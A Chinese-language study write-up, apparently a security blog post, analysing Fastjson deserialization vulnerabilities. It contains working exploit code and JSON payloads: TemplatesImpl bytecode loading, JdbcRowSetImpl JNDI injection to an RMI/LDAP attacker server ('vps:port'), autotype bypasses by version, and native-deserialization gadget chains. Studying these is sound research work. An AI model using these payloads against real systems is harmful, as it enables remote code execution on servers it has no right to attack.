前言
参考:
https://natro92.fun/posts/ac90d224/
https://boogipop.com/2023/03/02/FastJson%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://zer0peach.github.io/2023/09/24/FastJSON/
https://xz.aliyun.com/news/12201
简介
Fastjson 是 Alibaba 开发的 Java 语言编写的高性能 JSON 库,用于将数据在 JSON 和 Java Object 之间互相转换。
提供两个主要接口来分别实现序列化和反序列化操作。
JSON.toJSONString
将 Java 对象转换为 json 对象,序列化的过程。
JSON.parseObject/JSON.parse
将 json 对象重新变回 Java 对象;反序列化的过程
所以可以简单的把 json 理解成是一个字符串
demo
依赖
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
</dependencies>
序列化代码实现
定义一个 Student 类
package com.example;
public class Student {
private String name;
private int age;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
public void setAge(int age) {
System.out.println("setAge");
this.age = age;
}
}
然后写序列化的代码,调用 JSON.toJsonString()
来序列化 Student 类对象 :
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.serializer.SerializerFeature;
public class StudentSerialize {
public static void main(String[] args) {
Student student = new Student();
student.setName("0w0");
student.setAge(16);
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
System.out.println(jsonString);
}
}
调试一下JSON.toJsonString()
序列化的逻辑
进到 JSON#toJSONString
,new 了一个 SerializeWriter
对象,至此序列化完成
注意到底下的 static 变量,是 members of JSON
其中的 DEFAULT_TYPE_KEY
为 "@type"
继续往下看,new SerializeWriter 后的对象赋给 out
这个 out 变量作为 JSONSerializer
类构造的参数
再往下就是 toString 返回序列化字符串了
那么核心就在 toJSONString 这里
String jsonString = JSON.toJSONString(student, SerializerFeature.WriteClassName);
观察第二个参数,SerializerFeature.WriteClassName
,是 JSON.toJSONString()
中的一个设置属性值,设置之后在序列化的时候会多写入一个@type
,即写上被序列化的类名,type 可以指定反序列化的类,并且调用其 getter
/setter
/is
方法
Fastjson 接受的 JSON 可以通过 @type 字段来指定该 JSON 应当还原成何种类型的对象,在反序列化的时候方便操作
(如果没有设置的话就没有 @type)
反序列化代码实现
通过调用JSON.parseObject()
实现反序列化
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
public class StudentUnserialize {
public static void main(String[] args) {
String jsonString = "{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\"}";
Student student = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
System.out.println(student);
System.out.println(student.getClass().getName());
System.out.println(student.getName());
System.out.println(student.getAge());
}
}
漏洞原理
从前面的demo中我们可以看出,fastjson 在反序列化的时候会去找我们在 @type
中规定的类是哪个类,然后在反序列化的时候会自动调用这些 setter 与 getter 方法,但是调用的 setter 与 getter 方法是有条件的
满足条件的setter:
- 非静态函数
- 返回类型为void或当前类
- 参数个数为1个
满足条件的getter:
- 非静态方法
- 无参数
- 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong
那么,不同于之前Java原生的序列化和反序列化机制,Fastjson自己实现了一套序列化和反序列化机制
通过 Fastjson 反序列化漏洞,攻击者可以传入一个恶意构造的 JSON 内容,程序对其进行反序列化后得到恶意类并执行了恶意类中的恶意函数,进而导致代码执行
由前面demo知道,Fastjson使用parseObject()
/parse()
进行反序列化的时候可以指定类型。如果指定的类型太大,包含太多子类,就有利用空间了。例如,如果指定类型为Object或JSONObject,则可以反序列化出来任意类。例如代码写Object o = JSON.parseObject(poc,Object.class)
就可以反序列化出Object类或其任意子类,而 Object 又是任意类的父类,所以就可以反序列化出所有类。
而反序列化时会将反序列化得到的类的构造函数、getter
方法、setter
方法执行一遍,如果这三种方法中存在危险操作,则可能导致反序列化漏洞的存在,即要攻击的类中的这三种方法需要存在漏洞才能触发
在DefaultJSONParser.parseObject(Map object, Object fieldName)
中,JSON中以@type形式传入的类的时候,调用deserializer.deserialize()
处理该类,并去调用这个类的setter
和getter
方法:
public final Object parseObject(final Map object, Object fieldName) {
...
// JSON.DEFAULT_TYPE_KEY即@type
if (key == JSON.DEFAULT_TYPE_KEY && !lexer.isEnabled(Feature.DisableSpecialKeyDetect)) {
...
ObjectDeserializer deserializer = config.getDeserializer(clazz);
return deserializer.deserialze(this, clazz, fieldName);
漏洞demo
对 student 类稍作修改,添加一个 getter 方法,里面有漏洞代码
package com.example;
import java.util.Properties;
public class Student {
private String name;
private int age;
private String address;
private Properties properties;
public Student() {
System.out.println("构造函数");
}
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
System.out.println("setName");
this.name = name;
}
public int getAge() {
System.out.println("getAge");
return age;
}
// public void setAge(int age) {
// System.out.println("setAge");
// this.age = age;
// }
public String getAddress() {
System.out.println("getAddress");
return address;
}
public Properties getProperties() throws Exception{
System.out.println("getProperties");
Runtime.getRuntime().exec("calc");
return properties;
}
}
poc:
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.JSONObject;
import com.alibaba.fastjson.parser.Feature;
public class FastjsonEasyPoC {
public static void main(String[] args){
String jsonString ="{\"@type\":\"com.example.Student\",\"age\":16,\"name\":\"0w0\",\"address\":\"china\",\"properties\":{}}";
Object obj = JSON.parseObject(jsonString, Object.class);
// Student obj = JSON.parseObject(jsonString, Student.class, Feature.SupportNonPublicField);
System.out.println(obj);
System.out.println(obj.getClass().getName());
}
}
很明显,前面的 Demo 中反序列化的类是一个 Object 类,该类是任意类的父类,其子类 Student 存在 Fastjson 反序列化漏洞,当 @type 指向 Student 类是反序列化就会触发漏洞。
对于另一种反序列化指定类的情景,是该指定类本身就存在漏洞,比如我们将上述Demo中反序列化那行代码改成直接反序列化得到 Student 类而非 Object 类,这样就是另一个触发也是最直接的触发场景
Student obj = JSON.parseObject(jsonstring, Student.class, Feature.SupportNonPublicField);
FastJson<=1.2.24
1.2.22 <= Fastjson <= 1.2.24
依赖:
<dependency>
<groupId>com.unboundid</groupId>
<artifactId>unboundid-ldapsdk</artifactId>
<version>3.2.0</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.5</version>
</dependency>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.24</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.13</version>
</dependency>
一条是基于 TemplatesImpl 的链子,另一条是基于 JdbcRowSetImpl 的链子
TemplatesImpl链
TemplatesImpl#getOutputProperties() ->
TemplatesImpl#newTransformer() ->
TemplatesImpl#getTransletInstance() ->
TemplatesImpl#defineTransletClasses() ->
TransletClassLoader#defineClass()
这里 getTransletInstance 就是一个 getter 方法,那么就满足了我们 fastjson 漏洞的利用条件
但是有一个问题,getTransletInstance 方法返回值是 Translet 类型,是一个抽象类,没有继承自 Collection 或 Map 或 AtomicBoolean 或 AtomicInteger 或 AtomicLong
此时就要向上找链子了,根据之前对字节码的学习可以知道在最前面还有个 getOutputProperties 方法
这里返回值类型是 Properties
Properties 继承自 Map 类型,那么满足了我们的需要
然后我们需要在 payload 里面给 _outputProperties 也赋个值
于是就能构造payload了:
{
"@type":\"" + NASTY_CLASS + "\",
"_bytecodes\":[\""+evilCode+"\"],
'_name':'0w0',
'_tfactory':{ },
"_outputProperties":{ }
}
exp:在反序列化的时候的参数需要加上 Object.class
与 Feature.SupportNonPublicField
,因为 getOutputProperties()
方法是私有的
package com.example;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
// TemplatesImpl 链子的 EXP
public class TemplatesImplPoc {
public static String readClass(String cls){
ByteArrayOutputStream bos = new ByteArrayOutputStream();
try {
IOUtils.copy(new FileInputStream(new File(cls)), bos);
} catch (IOException e) {
e.printStackTrace();
}
return Base64.encodeBase64String(bos.toByteArray());
}
public static void main(String args[]){
try {
ParserConfig config = new ParserConfig();
final String fileSeparator = System.getProperty("file.separator");
final String evilClassPath = "D:/Code/Java/Java unserialize/demo/src/main/java/com/example/TempClass.class";
String evilCode = readClass(evilClassPath);
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String text1 = "{\"@type\":\"" + NASTY_CLASS +
"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'0w0','_tfactory':{ },\"_outputProperties\":{ },";
System.out.println(text1);
Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
//Object obj = JSON.parse(text1, Feature.SupportNonPublicField);
} catch (Exception e) {
e.printStackTrace();
}
}
}
JdbcRowSetImpl链(出网)
其实就是 JNDI 注入
基于 JdbcRowSetImpl 的利用链主要有两种利用方式,即 JNDI + RMI 和 JNDI + LDAP,都是属于基于 Bean Property 类型的 JNDI 的利用方式
JNDI+RMI
JDK 版本 8u161 < jdk < 8u191
JdbcRowSetImpl 类 JNDI 的部分在 connect 中
这里既然是 getDateSourceName,那么找 setDataSourceName
一看方法名就知道是设置数据库源,我们通过这个方式实现攻击
然后向上找调用 connect 方法的 setter 或 getter,优先找 setter,限制比较少
找到 setAutoCommit
,那么只要给 autoCommit 赋布尔值即可
payload:
{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://localhost:1099/Exploit",
"autoCommit":true
}
exp:
package com.example;
import com.alibaba.fastjson.JSON;
// 基于 JdbcRowSetImpl 的利用链
public class JdbcRowSetImplExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
使用 yakit 生成一个测试反连
JNDI+LDAP
原理一致
exp:
package com.example;
import com.alibaba.fastjson.JSON;
public class JdbcRowSetImplLdapExp {
public static void main(String[] args) {
String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1099/Exploit\", \"autoCommit\":true}";
JSON.parse(payload);
}
}
BCEL不出网动态类加载
FastJson 高版本绕过
以下利用均需开启 AutoTypeSupport 才能成功
1.2.25 的修复
修补方案是将 DefaultJSONParser.parseObject()
函数中的TypeUtils.loadClass
替换为 checkAutoType() 函数
绕过
ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
//开启autoTypeSupport
1.2.25-1.2.42 (双写绕过)
{"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"ldap://127.0.0.1:1389/g0tvin","autoCommit":true}
1.2.25-1.2.43
修复了L;
以及双写,还对[
做处理,利用这个处理进行绕过
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"rmi://vps:port/Exploit", "autoCommit":true}
1.2.25-1.2.45 (mybatis<3.5.0)
data_source
有 initial_context
时写在initial_context
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi://vps:port/TouchFile"}}
{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"2333","initial_context":"rmi://ip:port/TouchFile"}}
1.2.25-1.2.47 (最常用)
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"b": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "rmi://vps/TouchFile",
"autoCommit": true
}
}
FastJson 原生反序列化
上面的内容都是基于解析 json 进行类方法实例化,不像之前 cc 链一样是通过继承 serialzable 接口,反序列化调用 readObject 方法来进行的
接下来分析在 fastjson 的环境下利用原生反序列化
toString链
类查找
既然是原生反序列化,我们就要在 FastJson 包里面找到继承 Serializable 接口的类,在 fastjson 包里搜索调用了 Serializable 的类
最后找到这两个类:JSONObject
和JSONArray
类
以 JSONArray 类为例寻找利用,先去找入口点 readObject 方法
但是却发现 JSONArray 中并不存在 readObject 方法,并且它 extends 对应的 JSON 类也没有 readObject 方法,所以这里我们只有通过其他类的 readObject 方法来触发 JSONArray 或者 JSON 的某个方法来实现调用链
FastJson<=1.2.48
在 cc5 的时候,我们知道 BadAttributeValueExpException.readObject
可以调用 toString
fastjson 最经典的部分是自动触发 getter 来 getProperties 加载字节码,如何触发 getter 可以通过 JSON.parse
触发,也可以通过toJSONString
触发,而 JSON 这个类的 tostring 就是 toJSONString
那么思路就是用 BadAttributeValueExpException 触发 toJSONString,然后再触发 TemplatesImpl 的 getOutputProperties 方法实现加载任意字节码最终触发恶意方法调用
poc 前半段套 Templates 链,中间加个 JSONArray 对象,后面用 cc5 同款 BadAttributeValueExpException
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
public class ToStringChain {
public static void main(String[] args) throws Exception {
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
Utils.SetValue(obj, "_name", "0w0");
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", jsonArray);
String barr = Utils.Serialize(badAttributeValueExpException);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
FastJson>1.2.48
从1.2.49开始,JSONArray 以及 JSONObject 方法开始真正有了自己的 readObject 方法
这里用了 SecureObjectInputStream
,跟一下
在 SecureObjectInputStream
类当中重写了 resolveClass
,通过调用了 checkAutoType
方法做类的检查
乍一看用 resolveClass 防住了,但是观察反序列化的过程会发现它是在不安全的 ObjectInputStream 基础上套了个安全的 SecureObjectInputStream:
ObjectInputStream -> readObject -> ... -> SecureObjectInputStream -> readObject -> resolveClass
正确的做法应该是生成一个继承 ObjectInputStream 的类并重写 resolveClass (假定为 TestInputStream),由它来做反序列化的入口,这样才是安全的,具体可以看一下 ctf 里常有的 resolveClass waf:
TestInputStream -> readObject -> resolveClass
那么我们需要去找一下什么情况下不会调用 resolveClass
绕过 resolveClass
跟踪一下 ObjectInputStream 中关于 resolveClass 的调用
向上跟踪
继续跟踪 readClassDesc,来到 readObject0,而 readObject 首先就是调用 readObject0(false)
,unshared 的值即为 false
try {
switch (tc) {
case TC_NULL:
return readNull();
case TC_REFERENCE:
return readHandle(unshared);
case TC_CLASS:
return readClass(unshared);
case TC_CLASSDESC:
case TC_PROXYCLASSDESC:
return readClassDesc(unshared);
case TC_STRING:
case TC_LONGSTRING:
return checkResolve(readString(unshared));
case TC_ARRAY:
return checkResolve(readArray(unshared));
case TC_ENUM:
return checkResolve(readEnum(unshared));
case TC_OBJECT:
return checkResolve(readOrdinaryObject(unshared));
case TC_EXCEPTION:
IOException ex = readFatalException();
throw new WriteAbortedException("writing aborted", ex);
case TC_BLOCKDATA:
case TC_BLOCKDATALONG:
if (oldMode) {
bin.setBlockDataMode(true);
bin.peek(); // force header read
throw new OptionalDataException(
bin.currentBlockRemaining());
} else {
throw new StreamCorruptedException(
"unexpected block data");
}
case TC_ENDBLOCKDATA:
if (oldMode) {
throw new OptionalDataException(true);
} else {
throw new StreamCorruptedException(
"unexpected end of block data");
}
default:
throw new StreamCorruptedException(
String.format("invalid type code: %02X", tc));
}
}
仔细跟踪的话会发现这里不同 case 中的大部分类最终都会调用 readClassDesc 去获取类的描述符,在这个过程中如果当前反序列化数据下一位仍然是 TC_CLASSDESC
那么就会在 readNonProxyDesc
中触发 resolveClass
那么我们可选的只有不会调用 readClassDesc 的分支:TC_NULL
、TC_REFERENCE
、TC_STRING
、TC_LONGSTRING
、TC_EXCEPTION
其中 null、string、exception 对我们毫无用处,只剩下 reference 引用类型
现在我们就要思考,如何在 JSONArray/JSONObject 对象反序列化恢复对象时,让我们的恶意类成为引用类型从而绕过 resolveClass 的检查
当向List、set、map类型中添加同样对象时即可成功利用,当我们写入对象时,会在
handles
这个哈希表中建立从对象到引用的映射,当再次写入同一对象时,在handles
这个hash表中查到了映射,那么就会通过writeHandle
将重复对象以引用类型写入
以 List 为例:
ArrayList<Object> arrayList = new ArrayList<>();
arrayList.add(templates);
arrayList.add(templates);
writeObjects(arrayList);
于是就可以以这个思路构建payload了:
这里以 HashMap 为例
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.example.Utils;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javax.management.BadAttributeValueExpException;
import java.util.HashMap;
public class HighVerToStringChain {
public static void main(String[] args) throws Exception {
byte[] code = Utils.GenerateEvil();
TemplatesImpl obj = new TemplatesImpl();
Utils.SetValue(obj, "_bytecodes", new byte[][] {code});
Utils.SetValue(obj, "_name", "0w0");
Utils.SetValue(obj, "_tfactory", new TransformerFactoryImpl());
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
Utils.SetValue(badAttributeValueExpException, "val", jsonArray);
HashMap hashMap = new HashMap();
hashMap.put(obj,badAttributeValueExpException);
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
}
在反序列化的过程当中,因为我们引入了Map类型,第一个 readObject 方法先将 template 进行一次恢复,然后再恢复BadAttributeValueExpException
对象,而在恢复 BadAttributeValueExpException 对象的过程中,因为我们传入了 val 对应的 JSONArray/JSONObject 对象,所以会触发第二个 readObject 方法,将这个过程在给 SecrueObjectInputStream 处理,因为我们这是第二次恢复 Templateslmpl 对象,所以是引用类型,通过 readHandle 哈希表的时候不会触发 resolveClass,从而实现了绕过
XString链
在 BadAttributeValueExpException 不可用时可以利用 XString 进行替代
package com.example;
import com.alibaba.fastjson.JSONArray;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.xpath.objects.XString;
import org.springframework.aop.target.HotSwappableTargetSource;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.util.HashMap;
public class XStringChain {
public static void main(String[] args) throws Exception {
TemplatesImpl obj = Utils.getTemplatesImpl();
JSONArray jsonArray = new JSONArray();
jsonArray.add(obj);
HotSwappableTargetSource h1 = new HotSwappableTargetSource(jsonArray);
HotSwappableTargetSource h2 = new HotSwappableTargetSource(new XString("xxx"));
// HashMap<Object,Object> hashMap = new HashMap<>();
// hashMap.put(h1,h1);
// hashMap.put(h2,h2);
//
// Class clazz=h2.getClass();
// Field transformerdeclaredField = clazz.getDeclaredField("target");
// transformerdeclaredField.setAccessible(true);
// transformerdeclaredField.set(h2,new XString("xxx"));
HashMap<Object,Object> hashMap = makeMap(h1,h2);
String barr = Utils.Serialize(hashMap);
System.out.println(barr);
Utils.UnSerialize(barr);
}
public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
Utils.SetValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
Utils.SetValue(s, "table", tbl);
return s;
}
}
调试
在 HashMap#readObject 下断点,因为我们最外层就是 HashMap
这里下在 putVal,和 urldns 链一样(注意要把 IDEA 调试时的 toString 对象视图关掉)
第二次调用putVal,这里的key是一个HotSwappableTargetSource
,这个类充当跳板作用,调用它的 equals 方法:
注意这里我们通过反射把 target 修改为 XString 方法了
跟进
在这里发现 toString 方法,从而接上链子
版本探测
https://mp.weixin.qq.com/s/jbkN86qq9JxkGNOhwv9nxA